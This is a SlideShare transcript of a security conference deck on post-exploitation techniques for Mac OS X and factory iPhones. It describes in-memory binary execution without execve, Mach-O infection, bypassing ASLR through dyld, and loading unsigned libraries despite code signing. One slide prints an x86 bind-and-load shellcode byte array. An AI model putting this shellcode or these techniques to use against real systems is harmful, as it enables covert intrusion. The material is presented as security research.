SlideShare a Scribd company logo
1 of 58
Download to read offline
Post exploitation techniques on
        OSX and Iphone

           Vincenzo Iozzo
    vincenzo.iozzo@zynamics.com
Who I am

• Student at Politecnico di Milano
• Security Consultant at Secure Network srl
• Reverse Engineer at zynamics GmbH
Quick overview
• The old guy:
  – Userland-exec on OSX
  – Some practical examples
• The new guy:
  – Something similar to userland-exec on factory
    Iphone
  – Proof that it works
  – First step toward Meterpreter on factory iPhone
Mach-O file
• Header structure: information on the target
  architecture and options to interpret the file.
• Load commands: symbol table location,
  registers state.
• Segments: define region of the virtual
  memory, contain sections with code or data.
Mach-O representation
Segment and sections

    segment            section

     Virtual address    Virtual Address
         0x1000             0x1d54



                        Virtual memory
     Virtual memory           size
       size 0x1000
                            0x275



       File Offset        File Offset
          0x0               0xd54


        File Size
        0x1000
Let your Mach-O fly!
• Userland-exec
  – Execute an application without the kernel
• Technique was presented at BH DC
• The first part of this talk covers technique and
  some applications of it to Mac OS X
WWW
• Who: an attacker with a remote code
  execution in his pocket.
• Where: the attack is two-staged. First run a
  shellcode to receive the binary, then run the
  auto-loader contained in the binary.
• Why: later in this talk.
What kind of binaries?
• Any Mach-O file, from ls to Safari
• In real life, probably stuff like keyboard
  sniffers, other not-so-nice programs
What normally happens
• You want to run your binary: mybin
• execve system call is called
• Kernel parses the binary, maps code and data,
  and creates a stack for the binary
• Dyld resolves dependencies and jumps to the
  binary entry point
What Mach-O on the Fly does
• Craft a binary which contains a stack identical
  to the one created by the kernel and a piece
  of code which mimics the kernel
• Send binary to exploited process
• Do some cleanup, jump to the dynamic linker
  entry point (as the kernel would do)
In a picture
Stack
•   Mach-O file base address
•   Command line arguments
•   Environment variables
•   Execution path
•   All padded
Stack representation
Auto-loader
•   Embedded in binary
•   Impersonates the kernel
•   Un-maps the old binary
•   Maps the new one
Auto-loader description
• Parses the binary
• Reads the virtual addresses of the injected
  binary segments
• Unloads the attacked binary segments pointed
  by the virtual addresses
• Loads the injected binary segments
Auto-loader description(2)
• Maps the crafted stack referenced by
  __PAGEZERO
• Cleans registers
• Cleans some libSystem variables
• Jumps to dynamic linker entry point
We do like pictures, don’t we?

Victim’s process address space
  TEXT            DATA           LINKEDIT     SEGMENT
                                              -N




  TEXT             DATA            LINKEDIT      SEGMENT-N
Infected binary
• We need to find a place to store the auto-
  loader and the crafted stack
• __PAGEZERO infection technique
• Cavity infector technique
PAGEZERO Infection
• Change __PAGEZERO protection flags with a
  custom value
• Store the crafted stack and the auto-loader
  code at the end of the binary
• Point __PAGEZERO to the crafted stack
• Overwrite the first bytes of the file with the
  auto-loader address
Binary layout
    MODIFIED HEADER


   INFECTED __PAGEZERO

  LOAD COMMANDS AND
       SEGMENTS

 SECTIONS AND BINARY DATA


        SHELLCODE


      CRAFTED STACK
Let’s clean things up
• We need to clean up some variables in order
  to make the attack work
• They are stored in libSystem
• They are not exported
• ASLR for libraries makes this non-trivial
• No dlopen/dlsym combo
Defeat ASLR using the dynamic
               linker
• The dynamic linker has a list of the linked
  libraries
• We can access this list by using some of its
  function
• Remember that we want to perform
  everything in memory
Useful dyld functions
• _dyld_image_count() used to retrieve the
  number of linked libraries of a process.
• _dyld_get_image_header() used to retrieve
  the base address of each library.
• _dyld_get_image_name() used to retrieve the
  name of a given library.
Find ‘em
• Parse dyld load commands.
• Retrieve __LINKEDIT address.
• Iterate dyld symbol table and search for the
  functions name in __LINKEDIT.
Back to libSystem
• Non-exported symbols are taken out from the
  symbol table when loaded.
• Open libSystem binary, find the variables in
  the symbol table.
• Adjust variables to the base address of the in-
  memory __DATA segment.
Put pieces together
• Iterate the header structure of libSystem in-
  memory and find the __DATA base address.
  – __DATA base address 0x2000
  – Symbol at 0x2054
  – In-memory __DATA base address 0x4000
  – Symbol in-memory at 0x4054
Mach-O Fly payload
• Not much bigger than bind shellcode
• A lot of work is in preparing the binary to send
Mach-O Fly payload(x86)

char shellcode[] =
"x31xc0x50x40x50x40x50x50xb0x61xcdx80x99x89xc6x52”
"x52x52x68x00x02x04xd2x89xe3x6ax10x53x56x52xb0x68”
"xcdx80x52x56x52xb0x6axcdx80x52x52x56x52xb0x1excd”
"x80x89xc3x31xc0x50x48x50xb8x02x10x00x00x50xb8x07"
"x00x00x00x50xb9x40x4bx4cx00x51x31xc0x50x50xb8xc5”
"x00x00x00xcdx80x89xc7x31xc0x50x50x6ax40x51x57x53”
"x53xb8x1dx00x00x00xcdx80x57x8bx07x8dx04x38xffxe0"
Results
• Execute a binary to an arbitrary machine.
• No traces on the hard-disk.
• No execve(), the kernel doesn’t know about
  us.
• It works with every binary.
• It is possible to write payloads in a high level
  language.
DEMO
Entering iPhone
Iphone nightmare - first step
• We (I and Charlie) tried to port my attack to
  Iphone and we succeeded on jailbroken ones
• We, as everyone else who tried to write
  attacks for this OS, were convinced it would
  have worked on factory phones too
Iphone nightmare – step two
• It didn’t.
• Code signing and XN bit are a huge problem
  on factory iPhones
• You cannot execute a page unless is signed
• You cannot set a page executable if it was
  writable
My face at this point
A step toward success
• Just two days before our presentation at BH
  EU Charlie discovered that it is possible to set
  execution flags on a writable page
• But only shared libraries pages
My face after Charlie’s discovery
But still..
• My attack could not work anyway cause we
  cannot touch the executable pages
• So instead of a binary we decided to inject a
  library..
• .. It worked!
My face at the end
Why so?
• Until now there was no way to execute your
  own code on a factory phone
  – No advanced payloads
  – In most cases no payloads at all
  – Just some very hard return-into-libSystem stuff
• With this attack we have:
  – Advanced payloads(Meterpreter anyone?)
  – No need to play with return-into-something stuff
    anymo
A few questions
•   How Charlie’s trick works?
•   How can we map a library?
•   Ok you have an injected library, now what?
•   How do we play with dyld in order to link our
    library?
How Charlie’s trick works?
• Three steps:
  – Call vm_protect() in order to change page
    permissions to readable and writable
  – Write whatever you want
  – Call vm_protect() again with readable and
    executable flags
How can we map a library?
• Mapping a library is no different from
  mapping an executable
• We need to make sure to map the injected
  library upon an already mapped one
• Clearly we cannot just memcpy() stuff
Leveraging the trick
• For each segment we need to map we issue a
  vm_protect with READ and WRITE flags
• We copy the segment
• We issue another vm_protect with the
  protection flags the segment expects
Ok you have an injected library,
           now what?
• A non-linked library is useless
• The linking process is in charge of resolving
  library dependencies and link the executable
  to the library
• We need to work on the dynamic linker in
  order to understand how to link it
Osx dyld vs iPhone dyld
• On Osx you have a bunch of ways for linking a
  library stored in memory
• None of them work on iPhone (they have
  taken out the code for doing this)
So how do you load a library on
             Iphone?
• The library must be on the disk
• You need to call dlopen()
• The library must be signed
But our library is not signed, is it?
What to do now?
• Dyld has still a way of mapping a binary from
  memory (it has to for loading the main binary)
• We should use it
• But it’s simply not enough
The idea
• After we mapped the library we call dlopen()
• We hijack dlopen() execution in order to call
  the function which loads a binary from
  memory
• A few patches are needed
Dlopen hijacking
Loading from Memory
So we’re done?
• Not really
• When the library is linked it searches for
  symbols in each linked library
• *each linked library* means even the one we
  have overwritten
One last patch
• Before overwriting the victim library we force
  dlclose() to unlink it
• To “force” means to ignore the garbage
  collector for libraries
• We need to be careful with this one, some
  frameworks will crash if they are forced to be
  unloaded
It’s done
Results
• It is possible to load a arbitrary non-signed
  library in the address space of an arbitrary
  process (despite the code signing stuff)
• It’s the only reliable way to have a working-
  payloads on factory phones
• Rooms for improvements
  – Meterpreter anyone?
DEMO
Thanks!
Questions?

More Related Content

What's hot

The Why and How of Scala at Twitter
The Why and How of Scala at TwitterThe Why and How of Scala at Twitter
The Why and How of Scala at TwitterAlex Payne
 
Run-time of Node.js : V8 JavaScript Engine
Run-time of Node.js: V8 JavaScript EngineRun-time of Node.js: V8 JavaScript Engine
Run-time of Node.js : V8 JavaScript EngineGary Yeh
 
The Year of JRuby - RubyC 2018
The Year of JRuby - RubyC 2018The Year of JRuby - RubyC 2018
The Year of JRuby - RubyC 2018Charles Nutter
 
From Ruby to Scala
From Ruby to ScalaFrom Ruby to Scala
From Ruby to Scalatod esking
 
What's a macro?: Learning by Examples / Scalaのマクロに実用例から触れてみよう!
What's a macro?: Learning by Examples / Scalaのマクロに実用例から触れてみよう!What's a macro?: Learning by Examples / Scalaのマクロに実用例から触れてみよう!
What's a macro?: Learning by Examples / Scalaのマクロに実用例から触れてみよう!scalaconfjp
 
Why GC is eating all my CPU?
Why GC is eating all my CPU?Why GC is eating all my CPU?
Why GC is eating all my CPU?Roman Elizarov
 
iOS Multithreading
iOS MultithreadingiOS Multithreading
iOS MultithreadingRicha Jain
 
Down the Rabbit Hole: An Adventure in JVM Wonderland
Down the Rabbit Hole: An Adventure in JVM WonderlandDown the Rabbit Hole: An Adventure in JVM Wonderland
Down the Rabbit Hole: An Adventure in JVM WonderlandCharles Nutter
 
Ruby Performance - The Last Mile - RubyConf India 2016
Ruby Performance - The Last Mile - RubyConf India 2016Ruby Performance - The Last Mile - RubyConf India 2016
Ruby Performance - The Last Mile - RubyConf India 2016Charles Nutter
 
Multithreading and Parallelism on iOS [MobOS 2013]
 Multithreading and Parallelism on iOS [MobOS 2013] Multithreading and Parallelism on iOS [MobOS 2013]
Multithreading and Parallelism on iOS [MobOS 2013]Kuba Břečka
 
Expert JavaScript Programming
Expert JavaScript ProgrammingExpert JavaScript Programming
Expert JavaScript ProgrammingYoshiki Shibukawa
 
Bringing Concurrency to Ruby - RubyConf India 2014
Bringing Concurrency to Ruby - RubyConf India 2014Bringing Concurrency to Ruby - RubyConf India 2014
Bringing Concurrency to Ruby - RubyConf India 2014Charles Nutter
 
Understanding the Dalvik bytecode with the Dedexer tool
Understanding the Dalvik bytecode with the Dedexer toolUnderstanding the Dalvik bytecode with the Dedexer tool
Understanding the Dalvik bytecode with the Dedexer toolGabor Paller
 
Vk.amberfog.com gtug part1_introduction2_javaandroid_gtug
Vk.amberfog.com gtug part1_introduction2_javaandroid_gtugVk.amberfog.com gtug part1_introduction2_javaandroid_gtug
Vk.amberfog.com gtug part1_introduction2_javaandroid_gtugketan_patel25
 
Type Profiler: An Analysis to guess type signatures
Type Profiler: An Analysis to guess type signaturesType Profiler: An Analysis to guess type signatures
Type Profiler: An Analysis to guess type signaturesmametter
 
Scala : language of the future
Scala : language of the futureScala : language of the future
Scala : language of the futureAnsviaLab
 
Slot Composition
Slot CompositionSlot Composition
Slot CompositionESUG
 

What's hot (20)

The Why and How of Scala at Twitter
The Why and How of Scala at TwitterThe Why and How of Scala at Twitter
The Why and How of Scala at Twitter
 
Guild Prototype
Guild PrototypeGuild Prototype
Guild Prototype
 
Run-time of Node.js : V8 JavaScript Engine
Run-time of Node.js: V8 JavaScript EngineRun-time of Node.js: V8 JavaScript Engine
Run-time of Node.js : V8 JavaScript Engine
 
The Year of JRuby - RubyC 2018
The Year of JRuby - RubyC 2018The Year of JRuby - RubyC 2018
The Year of JRuby - RubyC 2018
 
From Ruby to Scala
From Ruby to ScalaFrom Ruby to Scala
From Ruby to Scala
 
What's a macro?: Learning by Examples / Scalaのマクロに実用例から触れてみよう!
What's a macro?: Learning by Examples / Scalaのマクロに実用例から触れてみよう!What's a macro?: Learning by Examples / Scalaのマクロに実用例から触れてみよう!
What's a macro?: Learning by Examples / Scalaのマクロに実用例から触れてみよう!
 
Why GC is eating all my CPU?
Why GC is eating all my CPU?Why GC is eating all my CPU?
Why GC is eating all my CPU?
 
iOS Multithreading
iOS MultithreadingiOS Multithreading
iOS Multithreading
 
Down the Rabbit Hole: An Adventure in JVM Wonderland
Down the Rabbit Hole: An Adventure in JVM WonderlandDown the Rabbit Hole: An Adventure in JVM Wonderland
Down the Rabbit Hole: An Adventure in JVM Wonderland
 
Ruby Performance - The Last Mile - RubyConf India 2016
Ruby Performance - The Last Mile - RubyConf India 2016Ruby Performance - The Last Mile - RubyConf India 2016
Ruby Performance - The Last Mile - RubyConf India 2016
 
Multithreading and Parallelism on iOS [MobOS 2013]
 Multithreading and Parallelism on iOS [MobOS 2013] Multithreading and Parallelism on iOS [MobOS 2013]
Multithreading and Parallelism on iOS [MobOS 2013]
 
Expert JavaScript Programming
Expert JavaScript ProgrammingExpert JavaScript Programming
Expert JavaScript Programming
 
Bringing Concurrency to Ruby - RubyConf India 2014
Bringing Concurrency to Ruby - RubyConf India 2014Bringing Concurrency to Ruby - RubyConf India 2014
Bringing Concurrency to Ruby - RubyConf India 2014
 
Understanding the Dalvik bytecode with the Dedexer tool
Understanding the Dalvik bytecode with the Dedexer toolUnderstanding the Dalvik bytecode with the Dedexer tool
Understanding the Dalvik bytecode with the Dedexer tool
 
Vk.amberfog.com gtug part1_introduction2_javaandroid_gtug
Vk.amberfog.com gtug part1_introduction2_javaandroid_gtugVk.amberfog.com gtug part1_introduction2_javaandroid_gtug
Vk.amberfog.com gtug part1_introduction2_javaandroid_gtug
 
Type Profiler: An Analysis to guess type signatures
Type Profiler: An Analysis to guess type signaturesType Profiler: An Analysis to guess type signatures
Type Profiler: An Analysis to guess type signatures
 
Scala : language of the future
Scala : language of the futureScala : language of the future
Scala : language of the future
 
Slot Composition
Slot CompositionSlot Composition
Slot Composition
 
Slot Composition
Slot CompositionSlot Composition
Slot Composition
 
Intro to .NET and Core C#
Intro to .NET and Core C#Intro to .NET and Core C#
Intro to .NET and Core C#
 

Similar to Eusecwest

Vulnerability, exploit to metasploit
Vulnerability, exploit to metasploitVulnerability, exploit to metasploit
Vulnerability, exploit to metasploitTiago Henriques
 
HES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe Shockwave
HES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe ShockwaveHES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe Shockwave
HES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe ShockwaveHackito Ergo Sum
 
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013midnite_runr
 
Pune-Cocoa: Blocks and GCD
Pune-Cocoa: Blocks and GCDPune-Cocoa: Blocks and GCD
Pune-Cocoa: Blocks and GCDPrashant Rane
 
Advanced SOHO Router Exploitation XCON
Advanced SOHO Router Exploitation XCONAdvanced SOHO Router Exploitation XCON
Advanced SOHO Router Exploitation XCONLyon Yang
 
Dynamic Languages in Production: Progress and Open Challenges
Dynamic Languages in Production: Progress and Open ChallengesDynamic Languages in Production: Progress and Open Challenges
Dynamic Languages in Production: Progress and Open Challengesbcantrill
 
DEF CON 27 - DIMITRY SNEZHKOV - zombie ant farm practical tips
DEF CON 27 - DIMITRY SNEZHKOV - zombie ant farm practical tipsDEF CON 27 - DIMITRY SNEZHKOV - zombie ant farm practical tips
DEF CON 27 - DIMITRY SNEZHKOV - zombie ant farm practical tipsFelipe Prado
 
Steelcon 2014 - Process Injection with Python
Steelcon 2014 - Process Injection with PythonSteelcon 2014 - Process Injection with Python
Steelcon 2014 - Process Injection with Pythoninfodox
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...Hackito Ergo Sum
 
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbg
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbgPractical Malware Analysis: Ch 10: Kernel Debugging with WinDbg
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbgSam Bowne
 
One Shellcode to Rule Them All: Cross-Platform Exploitation
One Shellcode to Rule Them All: Cross-Platform ExploitationOne Shellcode to Rule Them All: Cross-Platform Exploitation
One Shellcode to Rule Them All: Cross-Platform ExploitationQuinn Wilton
 
Raffaele Rialdi
Raffaele RialdiRaffaele Rialdi
Raffaele RialdiCodeFest
 
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangPractical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangLyon Yang
 
Project Basecamp: News From Camp 4
Project Basecamp: News From Camp 4Project Basecamp: News From Camp 4
Project Basecamp: News From Camp 4Digital Bond
 
ShaREing Is Caring
ShaREing Is CaringShaREing Is Caring
ShaREing Is Caringsporst
 
Jinx - Malware 2.0
Jinx - Malware 2.0Jinx - Malware 2.0
Jinx - Malware 2.0Itzik Kotler
 
On non existent 0-days, stable binary exploits and
On non existent 0-days, stable binary exploits andOn non existent 0-days, stable binary exploits and
On non existent 0-days, stable binary exploits andAlisa Esage Шевченко
 
Java 8 selected updates
Java 8 selected updatesJava 8 selected updates
Java 8 selected updatesVinay H G
 

Similar to Eusecwest (20)

Vulnerability, exploit to metasploit
Vulnerability, exploit to metasploitVulnerability, exploit to metasploit
Vulnerability, exploit to metasploit
 
HES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe Shockwave
HES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe ShockwaveHES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe Shockwave
HES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe Shockwave
 
Surge2012
Surge2012Surge2012
Surge2012
 
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
 
Pune-Cocoa: Blocks and GCD
Pune-Cocoa: Blocks and GCDPune-Cocoa: Blocks and GCD
Pune-Cocoa: Blocks and GCD
 
Failure Of DEP And ASLR
Failure Of DEP And ASLRFailure Of DEP And ASLR
Failure Of DEP And ASLR
 
Advanced SOHO Router Exploitation XCON
Advanced SOHO Router Exploitation XCONAdvanced SOHO Router Exploitation XCON
Advanced SOHO Router Exploitation XCON
 
Dynamic Languages in Production: Progress and Open Challenges
Dynamic Languages in Production: Progress and Open ChallengesDynamic Languages in Production: Progress and Open Challenges
Dynamic Languages in Production: Progress and Open Challenges
 
DEF CON 27 - DIMITRY SNEZHKOV - zombie ant farm practical tips
DEF CON 27 - DIMITRY SNEZHKOV - zombie ant farm practical tipsDEF CON 27 - DIMITRY SNEZHKOV - zombie ant farm practical tips
DEF CON 27 - DIMITRY SNEZHKOV - zombie ant farm practical tips
 
Steelcon 2014 - Process Injection with Python
Steelcon 2014 - Process Injection with PythonSteelcon 2014 - Process Injection with Python
Steelcon 2014 - Process Injection with Python
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
 
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbg
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbgPractical Malware Analysis: Ch 10: Kernel Debugging with WinDbg
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbg
 
One Shellcode to Rule Them All: Cross-Platform Exploitation
One Shellcode to Rule Them All: Cross-Platform ExploitationOne Shellcode to Rule Them All: Cross-Platform Exploitation
One Shellcode to Rule Them All: Cross-Platform Exploitation
 
Raffaele Rialdi
Raffaele RialdiRaffaele Rialdi
Raffaele Rialdi
 
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangPractical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
 
Project Basecamp: News From Camp 4
Project Basecamp: News From Camp 4Project Basecamp: News From Camp 4
Project Basecamp: News From Camp 4
 
ShaREing Is Caring
ShaREing Is CaringShaREing Is Caring
ShaREing Is Caring
 
Jinx - Malware 2.0
Jinx - Malware 2.0Jinx - Malware 2.0
Jinx - Malware 2.0
 
On non existent 0-days, stable binary exploits and
On non existent 0-days, stable binary exploits andOn non existent 0-days, stable binary exploits and
On non existent 0-days, stable binary exploits and
 
Java 8 selected updates
Java 8 selected updatesJava 8 selected updates
Java 8 selected updates
 

More from zynamics GmbH

Everybody be cool, this is a roppery!
Everybody be cool, this is a roppery!Everybody be cool, this is a roppery!
Everybody be cool, this is a roppery!zynamics GmbH
 
Automated Mobile Malware Classification
Automated Mobile Malware ClassificationAutomated Mobile Malware Classification
Automated Mobile Malware Classificationzynamics GmbH
 
Applications of the Reverse Engineering Language REIL
Applications of the Reverse Engineering Language REILApplications of the Reverse Engineering Language REIL
Applications of the Reverse Engineering Language REILzynamics GmbH
 
VxClass for Incident Response
VxClass for Incident ResponseVxClass for Incident Response
VxClass for Incident Responsezynamics GmbH
 
Malware classification
Malware classificationMalware classification
Malware classificationzynamics GmbH
 
Platform-independent static binary code analysis using a meta-assembly language
Platform-independent static binary code analysis using a meta-assembly languagePlatform-independent static binary code analysis using a meta-assembly language
Platform-independent static binary code analysis using a meta-assembly languagezynamics GmbH
 
Automated static deobfuscation in the context of Reverse Engineering
Automated static deobfuscation in the context of Reverse EngineeringAutomated static deobfuscation in the context of Reverse Engineering
Automated static deobfuscation in the context of Reverse Engineeringzynamics GmbH
 

More from zynamics GmbH (9)

Everybody be cool, this is a roppery!
Everybody be cool, this is a roppery!Everybody be cool, this is a roppery!
Everybody be cool, this is a roppery!
 
Automated Mobile Malware Classification
Automated Mobile Malware ClassificationAutomated Mobile Malware Classification
Automated Mobile Malware Classification
 
Applications of the Reverse Engineering Language REIL
Applications of the Reverse Engineering Language REILApplications of the Reverse Engineering Language REIL
Applications of the Reverse Engineering Language REIL
 
VxClass for Incident Response
VxClass for Incident ResponseVxClass for Incident Response
VxClass for Incident Response
 
Malware classification
Malware classificationMalware classification
Malware classification
 
Hitb
HitbHitb
Hitb
 
Platform-independent static binary code analysis using a meta-assembly language
Platform-independent static binary code analysis using a meta-assembly languagePlatform-independent static binary code analysis using a meta-assembly language
Platform-independent static binary code analysis using a meta-assembly language
 
Bh dc09
Bh dc09Bh dc09
Bh dc09
 
Automated static deobfuscation in the context of Reverse Engineering
Automated static deobfuscation in the context of Reverse EngineeringAutomated static deobfuscation in the context of Reverse Engineering
Automated static deobfuscation in the context of Reverse Engineering
 

Eusecwest

  • 1. Post exploitation techniques on OSX and Iphone Vincenzo Iozzo vincenzo.iozzo@zynamics.com
  • 2. Who I am • Student at Politecnico di Milano • Security Consultant at Secure Network srl • Reverse Engineer at zynamics GmbH
  • 3. Quick overview • The old guy: – Userland-exec on OSX – Some practical examples • The new guy: – Something similar to userland-exec on factory Iphone – Proof that it works – First step toward Meterpreter on factory iPhone
  • 4. Mach-O file • Header structure: information on the target architecture and options to interpret the file. • Load commands: symbol table location, registers state. • Segments: define region of the virtual memory, contain sections with code or data.
  • 6. Segment and sections segment section Virtual address Virtual Address 0x1000 0x1d54 Virtual memory Virtual memory size size 0x1000 0x275 File Offset File Offset 0x0 0xd54 File Size 0x1000
  • 7. Let your Mach-O fly! • Userland-exec – Execute an application without the kernel • Technique was presented at BH DC • The first part of this talk covers technique and some applications of it to Mac OS X
  • 8. WWW • Who: an attacker with a remote code execution in his pocket. • Where: the attack is two-staged. First run a shellcode to receive the binary, then run the auto-loader contained in the binary. • Why: later in this talk.
  • 9. What kind of binaries? • Any Mach-O file, from ls to Safari • In real life, probably stuff like keyboard sniffers, other not-so-nice programs
  • 10. What normally happens • You want to run your binary: mybin • execve system call is called • Kernel parses the binary, maps code and data, and creates a stack for the binary • Dyld resolves dependencies and jumps to the binary entry point
  • 11. What Mach-O on the Fly does • Craft a binary which contains a stack identical to the one created by the kernel and a piece of code which mimics the kernel • Send binary to exploited process • Do some cleanup, jump to the dynamic linker entry point (as the kernel would do)
  • 13. Stack • Mach-O file base address • Command line arguments • Environment variables • Execution path • All padded
  • 15. Auto-loader • Embedded in binary • Impersonates the kernel • Un-maps the old binary • Maps the new one
  • 16. Auto-loader description • Parses the binary • Reads the virtual addresses of the injected binary segments • Unloads the attacked binary segments pointed by the virtual addresses • Loads the injected binary segments
  • 17. Auto-loader description(2) • Maps the crafted stack referenced by __PAGEZERO • Cleans registers • Cleans some libSystem variables • Jumps to dynamic linker entry point
  • 18. We do like pictures, don’t we? Victim’s process address space TEXT DATA LINKEDIT SEGMENT -N TEXT DATA LINKEDIT SEGMENT-N
  • 19. Infected binary • We need to find a place to store the auto- loader and the crafted stack • __PAGEZERO infection technique • Cavity infector technique
  • 20. PAGEZERO Infection • Change __PAGEZERO protection flags with a custom value • Store the crafted stack and the auto-loader code at the end of the binary • Point __PAGEZERO to the crafted stack • Overwrite the first bytes of the file with the auto-loader address
  • 21. Binary layout MODIFIED HEADER INFECTED __PAGEZERO LOAD COMMANDS AND SEGMENTS SECTIONS AND BINARY DATA SHELLCODE CRAFTED STACK
  • 22. Let’s clean things up • We need to clean up some variables in order to make the attack work • They are stored in libSystem • They are not exported • ASLR for libraries makes this non-trivial • No dlopen/dlsym combo
  • 23. Defeat ASLR using the dynamic linker • The dynamic linker has a list of the linked libraries • We can access this list by using some of its function • Remember that we want to perform everything in memory
  • 24. Useful dyld functions • _dyld_image_count() used to retrieve the number of linked libraries of a process. • _dyld_get_image_header() used to retrieve the base address of each library. • _dyld_get_image_name() used to retrieve the name of a given library.
  • 25. Find ‘em • Parse dyld load commands. • Retrieve __LINKEDIT address. • Iterate dyld symbol table and search for the functions name in __LINKEDIT.
  • 26. Back to libSystem • Non-exported symbols are taken out from the symbol table when loaded. • Open libSystem binary, find the variables in the symbol table. • Adjust variables to the base address of the in- memory __DATA segment.
  • 27. Put pieces together • Iterate the header structure of libSystem in- memory and find the __DATA base address. – __DATA base address 0x2000 – Symbol at 0x2054 – In-memory __DATA base address 0x4000 – Symbol in-memory at 0x4054
  • 28. Mach-O Fly payload • Not much bigger than bind shellcode • A lot of work is in preparing the binary to send
  • 29. Mach-O Fly payload(x86) char shellcode[] = "x31xc0x50x40x50x40x50x50xb0x61xcdx80x99x89xc6x52” "x52x52x68x00x02x04xd2x89xe3x6ax10x53x56x52xb0x68” "xcdx80x52x56x52xb0x6axcdx80x52x52x56x52xb0x1excd” "x80x89xc3x31xc0x50x48x50xb8x02x10x00x00x50xb8x07" "x00x00x00x50xb9x40x4bx4cx00x51x31xc0x50x50xb8xc5” "x00x00x00xcdx80x89xc7x31xc0x50x50x6ax40x51x57x53” "x53xb8x1dx00x00x00xcdx80x57x8bx07x8dx04x38xffxe0"
  • 30. Results • Execute a binary to an arbitrary machine. • No traces on the hard-disk. • No execve(), the kernel doesn’t know about us. • It works with every binary. • It is possible to write payloads in a high level language.
  • 31. DEMO
  • 33. Iphone nightmare - first step • We (I and Charlie) tried to port my attack to Iphone and we succeeded on jailbroken ones • We, as everyone else who tried to write attacks for this OS, were convinced it would have worked on factory phones too
  • 34. Iphone nightmare – step two • It didn’t. • Code signing and XN bit are a huge problem on factory iPhones • You cannot execute a page unless is signed • You cannot set a page executable if it was writable
  • 35. My face at this point
  • 36. A step toward success • Just two days before our presentation at BH EU Charlie discovered that it is possible to set execution flags on a writable page • But only shared libraries pages
  • 37. My face after Charlie’s discovery
  • 38. But still.. • My attack could not work anyway cause we cannot touch the executable pages • So instead of a binary we decided to inject a library.. • .. It worked!
  • 39. My face at the end
  • 40. Why so? • Until now there was no way to execute your own code on a factory phone – No advanced payloads – In most cases no payloads at all – Just some very hard return-into-libSystem stuff • With this attack we have: – Advanced payloads(Meterpreter anyone?) – No need to play with return-into-something stuff anymo
  • 41. A few questions • How Charlie’s trick works? • How can we map a library? • Ok you have an injected library, now what? • How do we play with dyld in order to link our library?
  • 42. How Charlie’s trick works? • Three steps: – Call vm_protect() in order to change page permissions to readable and writable – Write whatever you want – Call vm_protect() again with readable and executable flags
  • 43. How can we map a library? • Mapping a library is no different from mapping an executable • We need to make sure to map the injected library upon an already mapped one • Clearly we cannot just memcpy() stuff
  • 44. Leveraging the trick • For each segment we need to map we issue a vm_protect with READ and WRITE flags • We copy the segment • We issue another vm_protect with the protection flags the segment expects
  • 45. Ok you have an injected library, now what? • A non-linked library is useless • The linking process is in charge of resolving library dependencies and link the executable to the library • We need to work on the dynamic linker in order to understand how to link it
  • 46. Osx dyld vs iPhone dyld • On Osx you have a bunch of ways for linking a library stored in memory • None of them work on iPhone (they have taken out the code for doing this)
  • 47. So how do you load a library on Iphone? • The library must be on the disk • You need to call dlopen() • The library must be signed
  • 48. But our library is not signed, is it?
  • 49. What to do now? • Dyld has still a way of mapping a binary from memory (it has to for loading the main binary) • We should use it • But it’s simply not enough
  • 50. The idea • After we mapped the library we call dlopen() • We hijack dlopen() execution in order to call the function which loads a binary from memory • A few patches are needed
  • 53. So we’re done? • Not really • When the library is linked it searches for symbols in each linked library • *each linked library* means even the one we have overwritten
  • 54. One last patch • Before overwriting the victim library we force dlclose() to unlink it • To “force” means to ignore the garbage collector for libraries • We need to be careful with this one, some frameworks will crash if they are forced to be unloaded
  • 56. Results • It is possible to load a arbitrary non-signed library in the address space of an arbitrary process (despite the code signing stuff) • It’s the only reliable way to have a working- payloads on factory phones • Rooms for improvements – Meterpreter anyone?
  • 57. DEMO